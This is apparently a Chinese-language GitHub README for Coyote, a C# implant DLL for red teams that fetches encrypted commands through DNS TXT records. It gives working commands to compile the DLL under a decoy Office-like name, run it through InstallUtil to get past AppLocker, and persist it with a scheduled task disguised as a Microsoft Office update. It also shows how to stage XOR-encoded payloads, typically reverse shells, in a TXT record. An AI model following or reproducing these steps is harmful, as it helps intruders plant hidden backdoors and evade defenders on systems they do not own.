TartarusLabs/Coyote
GitHub: TartarusLabs/Coyote
一款基于DNS隧道的轻量级Windows后渗透植入程序,用于在红队行动中隐蔽维持对被攻陷系统的长期访问权限。
Stars: 21 | Forks: 1
# Coyote
Coyote 是一个独立的 C# 后渗透植入程序,用于在红队行动中维持对被攻陷 Windows 基础设施的访问权限。
* 使用 InstallUtil.exe 绕过应用程序白名单(例如 AppLocker)(参见 [MITRE ATT&CK ID: T1218.004](https://attack.mitre.org/techniques/T1218/004/))
* 通过递归 DNS 隧道从操作员处检索加密命令(参见 [MITRE ATT&CK ID: T1071.004](https://attack.mitre.org/techniques/T1071/004/))
* 在内存和网络上的占用空间极小
其基本原理是让红队将这个微小的 DLL 部署在被攻陷的 Windows 系统上,并让其定期轮询一个外观合法的 FQDN 的 DNS TXT 记录以检查指令。需要时,该 TXT 记录可以包含一个简单的 PowerShell 单行命令,以便向 VPS 生成交互式反向 Shell,或者根据操作员的要求,作为更复杂攻击阶段的第一阶段。Coyote 不用于对被攻陷系统进行交互式控制,而是用于维持访问权限,并根据需要生成其他工具(如反向 Shell、Meterpreter 等)。
### 用法
首先编辑 coyote.cs 源文件,并将 c2domain 变量设置为您将用于 TXT 记录的子域名。
要在您自己的 Windows 主机上编译它:
`C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:msoffice360.dll coyote.cs`
这将创建一个约 5 KB 的小型 DLL 文件,名为 msoffice360.dll(使用您认为能在目标系统上混入的任何文件名),您将把它放置在目标系统上。
要在目标工作站或服务器上执行一次:
`C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U msoffice360.dll`
为了发挥作用,Coyote 需要以一定的时间间隔(例如每 24 小时或每次重启时)重复执行。有很多方法可以实现这一点。请参阅 [PayloadsAllTheThings - Windows Persistence](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) 查看一长串技术列表并选择一种。
作为一种示例方法,您可以将 DLL 隐藏在用户的 AppData 文件夹中,然后简单地创建一个新的计划任务:
`schtasks /CREATE /SC DAILY /TN "Microsoft Office security updates task" /TR "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Olivia\AppData\Local\Microsoft\msoffice360.dll" /ST 08:00`
这意味着每天 08:00,内置的 InstallUtil.exe 将导入并运行 DLL 的卸载函数,该函数随后将执行递归 DNS 查找,以检查当前是否有命令编码在 TXT 记录中,如果是,则执行该命令。这有望在被需要之前避开蓝队的检测,并作为用于维持网络远程访问的其他方法的备份。
要留下待执行的命令(通常用于生成交互式反向 Shell),请使用包含的 encrypt-payload.ps1 PowerShell 脚本。将您本应输入到命令行中的确切字符串提供给它,然后将加密输出复制到您编译植入程序时设置的子域名的 TXT 记录中。下次植入程序回连时,TXT 记录将被解密并执行。任何碰巧正在检查 DNS 流量的网络安全产品(许多网络甚至根本不执行此操作)都无法看到线路上的原始 Payload。
### 概念验证
我们使用 encrypt-payload.ps1 PowerShell 脚本将我们的 Payload "calc.exe" 与密钥 "pizza" 进行异或 (XOR) 运算,并对结果进行 Base64 编码:

使用 PowerShell 脚本的输出,我们在 DNS 服务器上创建一个 TXT 记录,如下所示:
`updates.tartaruslabs.com TXT EwgWGU8VER8= 7200`
最好设置一个相当低的 TTL,这样您就不必每次修改 TXT 记录后等待太久,该记录才会从被攻陷网络自己的 DNS 服务器的缓存中丢弃并从权威 DNS 服务器刷新。在这种情况下,我们将 TTL 设置为 7200 秒,即 2 小时。
该记录保存后,我们从 Linux 笔记本电脑上确认其处于活动状态:
`user@laptop:~$ host -t txt updates.tartaruslabs.com`
`updates.tartaruslabs.com descriptive text "EwgWGU8VER8="`
在 coyote.cs 中,我们将 c2domain 的值设置为 "updates.tartaruslabs.com",将 XORkey 设置为 "pizza",然后在我们的 Windows VM 上对其进行编译。
我们执行植入程序,计算器果然打开了。

标签:AI合规, AppLocker绕过, CTF学习, DLL, DNS隧道, InstallUtil, OpenCanary, 内网渗透, 反向Shell, 命令与控制, 嗅探欺骗, 应用白名单绕过, 数据展示, 权限维持, 植入物, 红队, 网络安全, 隐私保护